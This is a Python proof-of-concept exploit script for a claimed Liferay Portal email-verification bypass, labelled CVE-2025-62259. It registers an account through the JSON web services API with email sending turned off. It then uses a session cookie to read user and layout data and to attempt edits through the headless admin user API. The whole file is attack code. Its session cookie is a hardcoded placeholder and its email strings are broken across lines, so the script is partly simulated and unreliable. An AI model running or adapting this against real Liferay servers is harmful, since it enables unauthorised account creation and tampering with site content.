import requests
import json
# CVE-2025-62259 PoC - Liferay Portal Email Verification Bypass
# Target: Liferay Portal/DXP with vulnerable API endpoints
TARGET_URL = "http://target-liferay.com"
def create_user():
"""Step 1: Create a new user account without email verification"""
endpoint = f"{TARGET_URL}/api/jsonws/user/add-user"
params = {
"companyId": "1",
"autoPassword": "true",
"passwordReset": "false",
"reminderQueryQuestion": "what-is-your-password",
"reminderQueryAnswer": "test",
"graceLoginCount": "0",
"screenName": "attacker_user",
"emailAddress": "
[email protected]",
"facebookId": "0",
"languageId": "en_US",
"firstName": "Attacker",
"lastName": "Test",
"prefixId": "0",
"suffixId": "0",
"male": "true",
"birthdayMonth": "1",
"birthdayDay": "1",
"birthdayYear": "2000",
"jobTitle": "",
"groupIds": "",
"organizationIds": "",
"roleIds": "",
"userGroupIds": "",
"sendEmail": "false"
}
response = requests.post(endpoint, data=params)
return response.json()
def access_api_without_verification(auth_cookie):
"""Step 2: Access and edit content via API without email verification"""
headers = {"Cookie": auth_cookie}
# Access user info via API
users_endpoint = f"{TARGET_URL}/api/jsonws/user/get-user-by-email-address"
users_params = {"companyId": "1", "emailAddress": "
[email protected]"}
users_response = requests.get(users_endpoint, headers=headers, params=users_params)
print(f"User Info Retrieved: {users_response.status_code}")
# Access layouts via API
layouts_endpoint = f"{TARGET_URL}/api/jsonws/layout/get-layouts"
layouts_params = {"groupId": "0", "private": "false"}
layouts_response = requests.get(layouts_endpoint, headers=headers, params=layouts_params)
print(f"Layouts Accessed: {layouts_response.status_code}")
# Edit content via headless API
edit_endpoint = f"{TARGET_URL}/o/headless-admin-user-api/v1.0/user-accounts"
edit_response = requests.patch(edit_endpoint, headers=headers, json={"description": "modified"})
print(f"Content Edit Attempt: {edit_response.status_code}")
return layouts_response.json()
def main():
print("CVE-2025-62259 PoC - Liferay Portal API Access Before Email Verification")
user_result = create_user()
print(f"User Created: {user_result}")
# Simulate obtaining auth cookie without email verification
auth_cookie = "LFR_SESSION_TOKEN=attacker_session; COMPANY_ID=1; USER_ID=12345"
access_api_without_verification(auth_cookie)
print("PoC completed - API accessed without email verification")
if __name__ == "__main__":
main()